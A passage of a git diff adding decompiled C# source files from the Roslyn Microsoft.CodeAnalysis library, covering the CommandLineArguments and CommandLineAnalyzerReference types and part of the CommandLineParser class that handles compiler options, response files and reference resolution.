input1Table, NodeStateTable input2Table) + { + NodeStateTable<(TInput1, TInput2)>.Builder builder = graphState.CreateTableBuilder<(TInput1, TInput2)>(previousTable, _name, _comparer); + IncrementalGeneratorRunStep item = input2Table.Single().step; + NodeStateTable.Enumerator enumerator = input1Table.GetEnumerator(); + while (enumerator.MoveNext()) + { + NodeStateEntry current = enumerator.Current; + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = ImmutableArray.Create<(IncrementalGeneratorRunStep, int)>((current.Step, current.OutputIndex), (item, 0)); + builder.TryUseCachedEntries(TimeSpan.Zero, stepInputs); + } + return builder.ToImmutableAndFree(); + } + + public IIncrementalGeneratorNode<(TInput1, TInput2)> WithComparer(IEqualityComparer<(TInput1, TInput2)> comparer) + { + return new CombineNode(_input1, _input2, comparer, _name); + } + + public IIncrementalGeneratorNode<(TInput1, TInput2)> WithTrackingName(string name) + { + return new CombineNode(_input1, _input2, _comparer, name); + } + + public void RegisterOutput(IIncrementalGeneratorOutputNode output) + { + _input1.RegisterOutput(output); + _input2.RegisterOutput(output); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineAnalyzerReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineAnalyzerReference.cs new file mode 100644 index 0000000..1b50716 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineAnalyzerReference.cs @@ -0,0 +1,32 @@ +using System; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{FilePath,nq}")] +public readonly struct CommandLineAnalyzerReference(string path) : IEquatable +{ + private readonly string _path = path; + + public string FilePath => _path; + + public override bool Equals(object? obj) + { + if (obj is CommandLineAnalyzerReference) + { + return base.Equals((object?)(CommandLineAnalyzerReference)obj); + } + return false; + } + + public bool Equals(CommandLineAnalyzerReference other) + { + return _path == other._path; + } + + public override int GetHashCode() + { + return Hash.Combine(_path, 0); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineArguments.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineArguments.cs new file mode 100644 index 0000000..3bbccf8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineArguments.cs @@ -0,0 +1,319 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.IO; +using System.Text; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class CommandLineArguments +{ + internal bool IsScriptRunner { get; set; } + + public bool InteractiveMode { get; internal set; } + + public string? BaseDirectory { get; internal set; } + + public ImmutableArray> PathMap { get; internal set; } + + public ImmutableArray ReferencePaths { get; internal set; } + + public ImmutableArray SourcePaths { get; internal set; } + + public ImmutableArray KeyFileSearchPaths { get; internal set; } + + public bool Utf8Output { get; internal set; } + + public string? CompilationName { get; internal set; } + + public EmitOptions EmitOptions { get; internal set; } + + public string? OutputFileName { get; internal set; } + + public string? OutputRefFilePath { get; internal set; } + + public string? PdbPath { get; internal set; } + + public string? SourceLink { get; internal set; } + + public string? RuleSetPath { get; internal set; } + + public bool EmitPdb { get; internal set; } + + public string OutputDirectory { get; internal set; } + + public string? DocumentationPath { get; internal set; } + + public string? GeneratedFilesOutputDirectory { get; internal set; } + + public ErrorLogOptions? ErrorLogOptions { get; internal set; } + + public string? ErrorLogPath => ErrorLogOptions?.Path; + + public string? AppConfigPath { get; internal set; } + + public ImmutableArray Errors { get; internal set; } + + public ImmutableArray MetadataReferences { get; internal set; } + + public ImmutableArray AnalyzerReferences { get; internal set; } + + public ImmutableArray AnalyzerConfigPaths { get; internal set; } + + public ImmutableArray AdditionalFiles { get; internal set; } + + public ImmutableArray EmbeddedFiles { get; internal set; } + + public bool ReportAnalyzer { get; internal set; } + + public bool ReportInternalsVisibleToAttributes { get; internal set; } + + public bool SkipAnalyzers { get; internal set; } + + public bool DisplayLogo { get; internal set; } + + public bool DisplayHelp { get; internal set; } + + public bool DisplayVersion { get; internal set; } + + public bool DisplayLangVersions { get; internal set; } + + public string? Win32ResourceFile { get; internal set; } + + public string? Win32Icon { get; internal set; } + + public string? Win32Manifest { get; internal set; } + + public bool NoWin32Manifest { get; internal set; } + + public ImmutableArray ManifestResources { get; internal set; } + + public Encoding? Encoding { get; internal set; } + + public SourceHashAlgorithm ChecksumAlgorithm { get; internal set; } + + public ImmutableArray ScriptArguments { get; internal set; } + + public ImmutableArray SourceFiles { get; internal set; } + + public string? TouchedFilesPath { get; internal set; } + + public bool PrintFullPaths { get; internal set; } + + public ParseOptions ParseOptions => ParseOptionsCore; + + public CompilationOptions CompilationOptions => CompilationOptionsCore; + + protected abstract ParseOptions ParseOptionsCore { get; } + + protected abstract CompilationOptions CompilationOptionsCore { get; } + + public CultureInfo? PreferredUILang { get; internal set; } + + public bool EmitPdbFile + { + get + { + if (EmitPdb) + { + return EmitOptions.DebugInformationFormat != DebugInformationFormat.Embedded; + } + return false; + } + } + + internal StrongNameProvider GetStrongNameProvider(StrongNameFileSystem fileSystem) + { + return new DesktopStrongNameProvider(KeyFileSearchPaths, fileSystem); + } + + internal CommandLineArguments() + { + } + + public string GetOutputFilePath(string outputFileName) + { + if (outputFileName == null) + { + throw new ArgumentNullException("outputFileName"); + } + return Path.Combine(OutputDirectory, outputFileName); + } + + public string GetPdbFilePath(string outputFileName) + { + if (outputFileName == null) + { + throw new ArgumentNullException("outputFileName"); + } + return PdbPath ?? Path.Combine(OutputDirectory, Path.ChangeExtension(outputFileName, ".pdb")); + } + + public IEnumerable ResolveMetadataReferences(MetadataReferenceResolver metadataResolver) + { + if (metadataResolver == null) + { + throw new ArgumentNullException("metadataResolver"); + } + return ResolveMetadataReferences(metadataResolver, null, null); + } + + internal IEnumerable ResolveMetadataReferences(MetadataReferenceResolver metadataResolver, List? diagnosticsOpt, CommonMessageProvider? messageProviderOpt) + { + List list = new List(); + ResolveMetadataReferences(metadataResolver, diagnosticsOpt, messageProviderOpt, list); + return list; + } + + internal virtual bool ResolveMetadataReferences(MetadataReferenceResolver metadataResolver, List? diagnosticsOpt, CommonMessageProvider? messageProviderOpt, List resolved) + { + bool result = true; + ImmutableArray.Enumerator enumerator = MetadataReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + CommandLineReference current = enumerator.Current; + ImmutableArray immutableArray = ResolveMetadataReference(current, metadataResolver, diagnosticsOpt, messageProviderOpt); + if (!immutableArray.IsDefaultOrEmpty) + { + resolved.AddRange(immutableArray); + continue; + } + result = false; + if (diagnosticsOpt == null) + { + resolved.Add(new UnresolvedMetadataReference(current.Reference, current.Properties)); + } + } + return result; + } + + internal static ImmutableArray ResolveMetadataReference(CommandLineReference cmdReference, MetadataReferenceResolver metadataResolver, List? diagnosticsOpt, CommonMessageProvider? messageProviderOpt) + { + ImmutableArray result; + try + { + result = metadataResolver.ResolveReference(cmdReference.Reference, null, cmdReference.Properties); + } + catch (Exception ex) when (diagnosticsOpt != null && (ex is BadImageFormatException || ex is IOException)) + { + Diagnostic diagnostic = PortableExecutableReference.ExceptionToDiagnostic(ex, messageProviderOpt, Location.None, cmdReference.Reference, cmdReference.Properties.Kind); + diagnosticsOpt.Add(((DiagnosticWithInfo)diagnostic).Info); + return ImmutableArray.Empty; + } + if (result.IsDefaultOrEmpty && diagnosticsOpt != null) + { + diagnosticsOpt.Add(new DiagnosticInfo(messageProviderOpt, messageProviderOpt.ERR_MetadataFileNotFound, cmdReference.Reference)); + return ImmutableArray.Empty; + } + return result; + } + + public IEnumerable ResolveAnalyzerReferences(IAnalyzerAssemblyLoader analyzerLoader) + { + ImmutableArray.Enumerator enumerator = AnalyzerReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + CommandLineAnalyzerReference current = enumerator.Current; + yield return (AnalyzerReference)(((object)ResolveAnalyzerReference(current, analyzerLoader)) ?? ((object)new UnresolvedAnalyzerReference(current.FilePath))); + } + } + + internal void ResolveAnalyzersFromArguments(string language, List diagnostics, CommonMessageProvider messageProvider, IAnalyzerAssemblyLoader analyzerLoader, CompilationOptions compilationOptions, bool skipAnalyzers, out ImmutableArray analyzers, out ImmutableArray generators) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + ImmutableArray.Builder builder2 = ImmutableArray.CreateBuilder(); + EventHandler value = delegate(object o, AnalyzerLoadFailureEventArgs e) + { + AnalyzerFileReference analyzerFileReference2 = o as AnalyzerFileReference; + DiagnosticInfo diagnosticInfo; + switch (e.ErrorCode) + { + default: + return; + case AnalyzerLoadFailureEventArgs.FailureErrorCode.UnableToLoadAnalyzer: + diagnosticInfo = new DiagnosticInfo(messageProvider, messageProvider.WRN_UnableToLoadAnalyzer, analyzerFileReference2.FullPath, e.Message); + break; + case AnalyzerLoadFailureEventArgs.FailureErrorCode.UnableToCreateAnalyzer: + diagnosticInfo = new DiagnosticInfo(messageProvider, messageProvider.WRN_AnalyzerCannotBeCreated, e.TypeName ?? "", analyzerFileReference2.FullPath, e.Message); + break; + case AnalyzerLoadFailureEventArgs.FailureErrorCode.NoAnalyzers: + diagnosticInfo = new DiagnosticInfo(messageProvider, messageProvider.WRN_NoAnalyzerInAssembly, analyzerFileReference2.FullPath); + break; + case AnalyzerLoadFailureEventArgs.FailureErrorCode.ReferencesFramework: + diagnosticInfo = new DiagnosticInfo(messageProvider, messageProvider.WRN_AnalyzerReferencesFramework, analyzerFileReference2.FullPath, e.TypeName); + break; + case AnalyzerLoadFailureEventArgs.FailureErrorCode.ReferencesNewerCompiler: + diagnosticInfo = new DiagnosticInfo(messageProvider, messageProvider.WRN_AnalyzerReferencesNewerCompiler, analyzerFileReference2.FullPath, e.ReferencedCompilerVersion.ToString(), typeof(AnalyzerFileReference).Assembly.GetName().Version.ToString()); + break; + case AnalyzerLoadFailureEventArgs.FailureErrorCode.None: + return; + } + diagnosticInfo = messageProvider.FilterDiagnosticInfo(diagnosticInfo, compilationOptions); + if (diagnosticInfo != null) + { + diagnostics.Add(diagnosticInfo); + } + }; + PooledHashSet instance = PooledHashSet.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = AnalyzerReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + CommandLineAnalyzerReference current = enumerator.Current; + AnalyzerFileReference analyzerFileReference = ResolveAnalyzerReference(current, analyzerLoader); + if (analyzerFileReference != null) + { + if (instance.Add(analyzerFileReference)) + { + analyzerLoader.AddDependencyLocation(analyzerFileReference.FullPath); + instance2.Add(analyzerFileReference); + } + } + else + { + diagnostics.Add(new DiagnosticInfo(messageProvider, messageProvider.ERR_MetadataFileNotFound, current.FilePath)); + } + } + ArrayBuilder.Enumerator enumerator2 = instance2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AnalyzerFileReference current2 = enumerator2.Current; + current2.AnalyzerLoadFailed += value; + current2.AddAnalyzers(builder, language, shouldIncludeAnalyzer); + current2.AddGenerators(builder2, language); + current2.AnalyzerLoadFailed -= value; + } + instance2.Free(); + instance.Free(); + generators = builder2.ToImmutable(); + analyzers = builder.ToImmutable(); + bool shouldIncludeAnalyzer(DiagnosticAnalyzer analyzer) + { + if (skipAnalyzers) + { + return analyzer is DiagnosticSuppressor; + } + return true; + } + } + + private AnalyzerFileReference? ResolveAnalyzerReference(CommandLineAnalyzerReference reference, IAnalyzerAssemblyLoader analyzerLoader) + { + string text = FileUtilities.ResolveRelativePath(reference.FilePath, null, BaseDirectory, ReferencePaths, File.Exists); + if (text != null) + { + text = FileUtilities.TryNormalizeAbsolutePath(text); + } + if (text != null) + { + return new AnalyzerFileReference(text, analyzerLoader); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineParser.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineParser.cs new file mode 100644 index 0000000..bc673f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineParser.cs @@ -0,0 +1,1096 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class CommandLineParser +{ + private readonly CommonMessageProvider _messageProvider; + + internal readonly bool IsScriptCommandLineParser; + + private static readonly char[] s_searchPatternTrimChars = new char[8] { '\t', '\n', '\v', '\f', '\r', ' ', '\u0085', '\u00a0' }; + + internal const string ErrorLogOptionFormat = "[,version={1|1.0|2|2.1}]"; + + private static readonly char[] s_resourceSeparators = new char[1] { ',' }; + + private static readonly char[] s_pathSeparators = new char[2] { ';', ',' }; + + private static readonly char[] s_wildcards = new char[2] { '*', '?' }; + + internal CommonMessageProvider MessageProvider => _messageProvider; + + protected abstract string RegularFileExtension { get; } + + protected abstract string ScriptFileExtension { get; } + + internal static string MismatchedVersionErrorText => CodeAnalysisResources.MismatchedVersion; + + internal CommandLineParser(CommonMessageProvider messageProvider, bool isScriptCommandLineParser) + { + _messageProvider = messageProvider; + IsScriptCommandLineParser = isScriptCommandLineParser; + } + + internal virtual TextReader CreateTextFileReader(string fullPath) + { + return new StreamReader(new FileStream(fullPath, FileMode.Open, FileAccess.Read, FileShare.Read), detectEncodingFromByteOrderMarks: true); + } + + internal virtual IEnumerable EnumerateFiles(string? directory, string fileNamePattern, SearchOption searchOption) + { + if (directory == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return Directory.EnumerateFiles(directory, fileNamePattern, searchOption); + } + + internal abstract CommandLineArguments CommonParse(IEnumerable args, string baseDirectory, string? sdkDirectory, string? additionalReferenceDirectories); + + public CommandLineArguments Parse(IEnumerable args, string baseDirectory, string? sdkDirectory, string? additionalReferenceDirectories) + { + return CommonParse(args, baseDirectory, sdkDirectory, additionalReferenceDirectories); + } + + internal static bool IsOptionName(string optionName, ReadOnlyMemory value) + { + return IsOptionName(optionName, value.Span); + } + + internal static bool IsOptionName(string shortOptionName, string longOptionName, ReadOnlyMemory value) + { + if (!IsOptionName(shortOptionName, value)) + { + return IsOptionName(longOptionName, value); + } + return true; + } + + internal static bool IsOptionName(string optionName, ReadOnlySpan value) + { + if (isAllAscii(value)) + { + if (optionName.Length != value.Length) + { + return false; + } + for (int i = 0; i < optionName.Length; i++) + { + if (optionName[i] != char.ToLowerInvariant(value[i])) + { + return false; + } + } + return true; + } + return optionName.AsSpan().Equals(value, StringComparison.InvariantCultureIgnoreCase); + static bool isAllAscii(ReadOnlySpan span) + { + ReadOnlySpan readOnlySpan = span; + for (int j = 0; j < readOnlySpan.Length; j++) + { + if (readOnlySpan[j] > '\u007f') + { + return false; + } + } + return true; + } + } + + internal static bool IsOption(string arg) + { + return IsOption(arg.AsSpan()); + } + + internal static bool IsOption(ReadOnlySpan arg) + { + if (arg.Length > 0) + { + if (arg[0] != '/') + { + return arg[0] == '-'; + } + return true; + } + return false; + } + + internal static bool IsOption(string optionName, string arg, out ReadOnlyMemory name, out ReadOnlyMemory? value) + { + if (TryParseOption(arg, out name, out value)) + { + return IsOptionName(optionName, name); + } + return false; + } + + internal static bool TryParseOption(string arg, [NotNullWhen(true)] out string? name, out string? value) + { + if (TryParseOption(arg, out ReadOnlyMemory name2, out ReadOnlyMemory? value2)) + { + name = name2.ToString().ToLowerInvariant(); + value = value2?.ToString(); + return true; + } + name = null; + value = null; + return false; + } + + internal static bool TryParseOption(string arg, out ReadOnlyMemory name, out ReadOnlyMemory? value) + { + if (!IsOption(arg)) + { + name = default(ReadOnlyMemory); + value = null; + return false; + } + if (arg == "-") + { + name = arg.AsMemory(); + value = null; + return true; + } + int num = arg.IndexOf(':'); + if (arg.Length > 1 && arg[0] != '-') + { + int num2 = arg.IndexOf('/', 1); + if (num2 > 0 && (num < 0 || num2 < num)) + { + name = default(ReadOnlyMemory); + value = null; + return false; + } + } + ReadOnlyMemory readOnlyMemory = arg.AsMemory(); + if (num >= 0) + { + name = readOnlyMemory.Slice(1, num - 1); + value = readOnlyMemory.Slice(num + 1); + } + else + { + name = readOnlyMemory.Slice(1); + value = null; + } + return true; + } + + internal ErrorLogOptions? ParseErrorLogOptions(ReadOnlyMemory arg, IList diagnostics, string? baseDirectory, out bool diagnosticAlreadyReported) + { + diagnosticAlreadyReported = false; + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + try + { + ParseSeparatedStrings(arg, s_pathSeparators, removeEmptyEntries: true, instance); + if (instance.Count == 0 || instance[0].Length == 0) + { + return null; + } + string text = ParseGenericPathToFile(instance[0].ToString(), diagnostics, baseDirectory); + if (text == null) + { + diagnosticAlreadyReported = true; + return null; + } + SarifVersion result = SarifVersion.Sarif1; + if (instance.Count > 1 && instance[1].Length > 0) + { + string text2 = instance[1].ToString(); + string text3 = "version="; + int length = text3.Length; + if (text2.Length <= length || !text2.Substring(0, length).Equals(text3, StringComparison.OrdinalIgnoreCase) || !SarifVersionFacts.TryParse(text2.Substring(length), out result)) + { + return null; + } + } + if (instance.Count > 2) + { + return null; + } + return new ErrorLogOptions(text, result); + } + finally + { + instance.Free(); + } + } + + internal static void ParseAndNormalizeFile(string unquoted, string? baseDirectory, out string? outputFileName, out string? outputDirectory, out string invalidPath) + { + outputFileName = null; + outputDirectory = null; + invalidPath = unquoted; + string text = FileUtilities.ResolveRelativePath(unquoted, baseDirectory); + if (text != null) + { + try + { + text = (invalidPath = Path.GetFullPath(text)); + outputFileName = Path.GetFileName(text); + outputDirectory = Path.GetDirectoryName(text); + } + catch (Exception) + { + text = null; + } + if (outputFileName != null) + { + outputFileName = RemoveTrailingSpacesAndDots(outputFileName); + } + } + if (text == null || !MetadataHelpers.IsValidMetadataIdentifier(outputDirectory) || !MetadataHelpers.IsValidMetadataIdentifier(outputFileName)) + { + outputFileName = null; + } + } + + [return: NotNullIfNotNull("path")] + internal static string? RemoveTrailingSpacesAndDots(string? path) + { + if (path == null) + { + return path; + } + int length = path.Length; + for (int num = length - 1; num >= 0; num--) + { + char c = path[num]; + if (!char.IsWhiteSpace(c) && c != '.') + { + if (num != length - 1) + { + return path.Substring(0, num + 1); + } + return path; + } + } + return string.Empty; + } + + protected ImmutableArray> ParsePathMap(string pathMap, IList errors) + { + if (pathMap.IsEmpty()) + { + return ImmutableArray>.Empty; + } + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + string[] array = SplitWithDoubledSeparatorEscaping(pathMap, ','); + foreach (string text in array) + { + if (text.IsEmpty()) + { + continue; + } + string[] array2 = SplitWithDoubledSeparatorEscaping(text, '='); + if (array2.Length != 2) + { + errors.Add(Diagnostic.Create(_messageProvider, _messageProvider.ERR_InvalidPathMap)); + continue; + } + string text2 = array2[0]; + string text3 = array2[1]; + if (text2.Length == 0 || text3.Length == 0) + { + errors.Add(Diagnostic.Create(_messageProvider, _messageProvider.ERR_InvalidPathMap)); + continue; + } + text2 = PathUtilities.EnsureTrailingSeparator(text2); + text3 = PathUtilities.EnsureTrailingSeparator(text3); + instance.Add(new KeyValuePair(text2, text3)); + } + return instance.ToImmutableAndFree(); + } + + internal static string[] SplitWithDoubledSeparatorEscaping(string str, char separator) + { + if (str.Length == 0) + { + return Array.Empty(); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PooledStringBuilder instance2 = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance2.Builder; + int num = 0; + while (num < str.Length) + { + char c = str[num++]; + if (c == separator) + { + if (num >= str.Length || str[num] != separator) + { + instance.Add(builder.ToString()); + builder.Clear(); + continue; + } + num++; + } + builder.Append(c); + } + instance.Add(builder.ToString()); + instance2.Free(); + return instance.ToArrayAndFree(); + } + + internal void ParseOutputFile(string value, IList errors, string? baseDirectory, out string? outputFileName, out string? outputDirectory) + { + ParseAndNormalizeFile(RemoveQuotesAndSlashes(value), baseDirectory, out outputFileName, out outputDirectory, out string invalidPath); + if (outputFileName == null || !MetadataHelpers.IsValidAssemblyOrModuleName(outputFileName)) + { + errors.Add(Diagnostic.Create(_messageProvider, _messageProvider.FTL_InvalidInputFileName, invalidPath)); + outputFileName = null; + outputDirectory = baseDirectory; + } + } + + internal string? ParsePdbPath(string value, IList errors, string? baseDirectory) + { + string result = null; + ParseAndNormalizeFile(RemoveQuotesAndSlashes(value), baseDirectory, out string outputFileName, out string outputDirectory, out string invalidPath); + if (outputFileName == null || PathUtilities.ChangeExtension(outputFileName, null).Length == 0) + { + errors.Add(Diagnostic.Create(_messageProvider, _messageProvider.FTL_InvalidInputFileName, invalidPath)); + } + else + { + result = Path.ChangeExtension(Path.Combine(outputDirectory, outputFileName), ".pdb"); + } + return result; + } + + internal string? ParseGenericPathToFile(string unquoted, IList errors, string? baseDirectory, bool generateDiagnostic = true) + { + string result = null; + ParseAndNormalizeFile(unquoted, baseDirectory, out string outputFileName, out string outputDirectory, out string invalidPath); + if (string.IsNullOrWhiteSpace(outputFileName)) + { + if (generateDiagnostic) + { + errors.Add(Diagnostic.Create(_messageProvider, _messageProvider.FTL_InvalidInputFileName, invalidPath)); + } + } + else + { + result = Path.Combine(outputDirectory, outputFileName); + } + return result; + } + + internal void FlattenArgs(IEnumerable rawArguments, IList diagnostics, ArrayBuilder processedArgs, List? scriptArgsOpt, string? baseDirectory, List? responsePaths = null) + { + bool flag = false; + bool flag2 = false; + bool flag3 = false; + ArrayBuilder args = ArrayBuilder.GetInstance(); + args.AddRange(rawArguments); + args.ReverseContents(); + int argsIndex = args.Count - 1; + while (argsIndex >= 0) + { + string text = args[argsIndex].TrimEnd(Array.Empty()); + argsIndex--; + if (flag) + { + scriptArgsOpt.Add(text); + continue; + } + if (scriptArgsOpt != null) + { + if (flag2) + { + flag = true; + scriptArgsOpt.Add(text); + continue; + } + if (!flag3 && text == "--") + { + flag3 = true; + processedArgs.Add(text); + continue; + } + } + if (!flag3 && text.StartsWith("@", StringComparison.Ordinal)) + { + string text2 = RemoveQuotesAndSlashes(text.Substring(1)).TrimEnd(null); + string text3 = FileUtilities.ResolveRelativePath(text2, baseDirectory); + if (text3 != null) + { + parseResponseFile(text3); + if (responsePaths != null) + { + string directoryName = PathUtilities.GetDirectoryName(text3); + if (directoryName == null) + { + diagnostics.Add(Diagnostic.Create(_messageProvider, _messageProvider.FTL_InvalidInputFileName, text2)); + } + else + { + responsePaths.Add(FileUtilities.NormalizeAbsolutePath(directoryName)); + } + } + } + else + { + diagnostics.Add(Diagnostic.Create(_messageProvider, _messageProvider.FTL_InvalidInputFileName, text2)); + } + } + else + { + processedArgs.Add(text); + flag2 |= flag3 || !IsOption(text); + } + } + args.Free(); + void parseResponseFile(string fullPath) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + List list = new List(); + try + { + using TextReader textReader = CreateTextFileReader(fullPath); + Span span = stackalloc char[256]; + int num = 0; + while (true) + { + int num2 = textReader.Read(); + char? illegalChar; + bool flag4; + switch (num2) + { + case -1: + if (num > 0) + { + instance.Builder.Length = 0; + CommandLineUtilities.SplitCommandLineIntoArguments(span.Slice(0, num), removeHashComments: true, instance.Builder, list, out illegalChar); + } + goto end_IL_002a; + case 10: + case 13: + flag4 = true; + break; + default: + flag4 = false; + break; + } + if (flag4) + { + if (num2 == 13 && textReader.Peek() == 10) + { + textReader.Read(); + } + instance.Builder.Length = 0; + CommandLineUtilities.SplitCommandLineIntoArguments(span.Slice(0, num), removeHashComments: true, instance.Builder, list, out illegalChar); + num = 0; + } + else + { + if (num >= span.Length) + { + char[] array = new char[span.Length * 2]; + span.CopyTo(array.AsSpan()); + span = array; + } + span[num] = (char)num2; + num++; + } + continue; + end_IL_002a: + break; + } + } + catch (Exception) + { + diagnostics.Add(Diagnostic.Create(_messageProvider, _messageProvider.ERR_OpenResponseFile, fullPath)); + return; + } + for (int num3 = list.Count - 1; num3 >= 0; num3--) + { + string text4 = list[num3]; + if (!string.Equals(text4, "/noconfig", StringComparison.OrdinalIgnoreCase) && !string.Equals(text4, "-noconfig", StringComparison.OrdinalIgnoreCase)) + { + argsIndex++; + if (argsIndex < args.Count) + { + args[argsIndex] = text4; + } + else + { + args.Add(text4); + } + } + else + { + diagnostics.Add(Diagnostic.Create(_messageProvider, _messageProvider.WRN_NoConfigNotOnCommandLine)); + } + } + instance.Free(); + } + } + + internal static IEnumerable ParseResponseLines(IEnumerable lines) + { + List list = new List(); + foreach (string line in lines) + { + list.AddRange(CommandLineUtilities.SplitCommandLineIntoArguments(line, removeHashComments: true)); + } + return list; + } + + internal static bool TryParseClientArgs(IEnumerable args, [NotNullWhen(true)] out List? parsedArgs, out bool containsShared, out string? keepAliveValue, out string? pipeName, [NotNullWhen(false)] out string? errorMessage) + { + containsShared = false; + keepAliveValue = null; + errorMessage = null; + parsedArgs = null; + pipeName = null; + List list = new List(); + foreach (string arg in args) + { + if (isClientArgsOption(arg, "keepalive", out var hasValue, out var optionValue)) + { + if (string.IsNullOrEmpty(optionValue)) + { + errorMessage = CodeAnalysisResources.MissingKeepAlive; + return false; + } + if (!int.TryParse(optionValue, out var result)) + { + errorMessage = CodeAnalysisResources.KeepAliveIsNotAnInteger; + return false; + } + if (result < -1) + { + errorMessage = CodeAnalysisResources.KeepAliveIsTooSmall; + return false; + } + keepAliveValue = optionValue; + } + else if (isClientArgsOption(arg, "shared", out hasValue, out optionValue)) + { + if (hasValue) + { + if (string.IsNullOrEmpty(optionValue)) + { + errorMessage = CodeAnalysisResources.SharedArgumentMissing; + return false; + } + pipeName = optionValue; + } + containsShared = true; + } + else + { + list.Add(arg); + } + } + if (keepAliveValue != null && !containsShared) + { + errorMessage = CodeAnalysisResources.KeepAliveWithoutShared; + return false; + } + parsedArgs = list; + return true; + static bool isClientArgsOption(string arg, string optionName, out bool reference, out string? reference2) + { + reference = false; + reference2 = null; + if (arg.Length == 0 || (arg[0] != '/' && arg[0] != '-')) + { + return false; + } + arg = arg.Substring(1); + if (!arg.StartsWith(optionName, StringComparison.OrdinalIgnoreCase)) + { + return false; + } + if (arg.Length > optionName.Length) + { + if (arg[optionName.Length] != ':' && arg[optionName.Length] != '=') + { + return false; + } + reference = true; + reference2 = arg.Substring(optionName.Length + 1).Trim(new char[1] { '"' }); + } + return true; + } + } + + internal static void ParseResourceDescription(ReadOnlyMemory resourceDescriptor, string? baseDirectory, bool skipLeadingSeparators, out string? filePath, out string? fullPath, out string? fileName, out string resourceName, out string? accessibility) + { + filePath = null; + fullPath = null; + fileName = null; + resourceName = ""; + accessibility = null; + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ParseSeparatedStrings(resourceDescriptor, s_resourceSeparators, removeEmptyEntries: false, instance); + int i = 0; + int num = instance.Count; + if (skipLeadingSeparators) + { + for (; i < num && instance[i].Length == 0; i++) + { + } + num -= i; + } + if (num >= 1) + { + filePath = RemoveQuotesAndSlashes(instance[i]); + } + if (num >= 2) + { + resourceName = RemoveQuotesAndSlashes(instance[i + 1]); + } + if (num >= 3) + { + accessibility = RemoveQuotesAndSlashes(instance[i + 2]); + } + instance.Free(); + if (!RoslynString.IsNullOrWhiteSpace(filePath)) + { + fileName = PathUtilities.GetFileName(filePath); + fullPath = FileUtilities.ResolveRelativePath(filePath, baseDirectory); + if (RoslynString.IsNullOrWhiteSpace(resourceName)) + { + resourceName = fileName; + } + } + } + + public static IEnumerable SplitCommandLineIntoArguments(string commandLine, bool removeHashComments) + { + return CommandLineUtilities.SplitCommandLineIntoArguments(commandLine, removeHashComments); + } + + [return: NotNullIfNotNull("arg")] + internal static string? RemoveQuotesAndSlashes(string? arg) + { + if (arg == null) + { + return null; + } + return RemoveQuotesAndSlashes(arg.AsMemory()); + } + + internal static string RemoveQuotesAndSlashes(ReadOnlyMemory argMemory) + { + return RemoveQuotesAndSlashesEx(argMemory).ToString(); + } + + internal static string? RemoveQuotesAndSlashes(ReadOnlyMemory? argMemory) + { + if (argMemory.HasValue) + { + ReadOnlyMemory valueOrDefault = argMemory.GetValueOrDefault(); + return RemoveQuotesAndSlashesEx(valueOrDefault).ToString(); + } + return null; + } + + internal static ReadOnlyMemory? RemoveQuotesAndSlashesEx(ReadOnlyMemory? argMemory) + { + ReadOnlyMemory value; + if (argMemory.HasValue) + { + ReadOnlyMemory valueOrDefault = argMemory.GetValueOrDefault(); + value = RemoveQuotesAndSlashesEx(valueOrDefault); + } + else + { + value = null; + } + return value; + } + + internal static ReadOnlyMemory RemoveQuotesAndSlashesEx(ReadOnlyMemory argMemory) + { + ReadOnlyMemory? readOnlyMemory = removeFastPath(argMemory); + if (readOnlyMemory.HasValue) + { + return readOnlyMemory.GetValueOrDefault(); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + ReadOnlySpan span = argMemory.Span; + int i = 0; + while (i < span.Length) + { + char c = span[i]; + switch (c) + { + case '\\': + processSlashes(builder, span, ref i); + break; + case '"': + i++; + break; + default: + builder.Append(c); + i++; + break; + } + } + return instance.ToStringAndFree().AsMemory(); + static void processSlashes(StringBuilder stringBuilder, ReadOnlySpan arg, ref int reference) + { + int num = 0; + while (reference < arg.Length && arg[reference] == '\\') + { + num++; + reference++; + } + if (reference < arg.Length && arg[reference] == '"') + { + while (num >= 2) + { + stringBuilder.Append('\\'); + num -= 2; + } + if (num == 1) + { + stringBuilder.Append('"'); + } + reference++; + } + else + { + 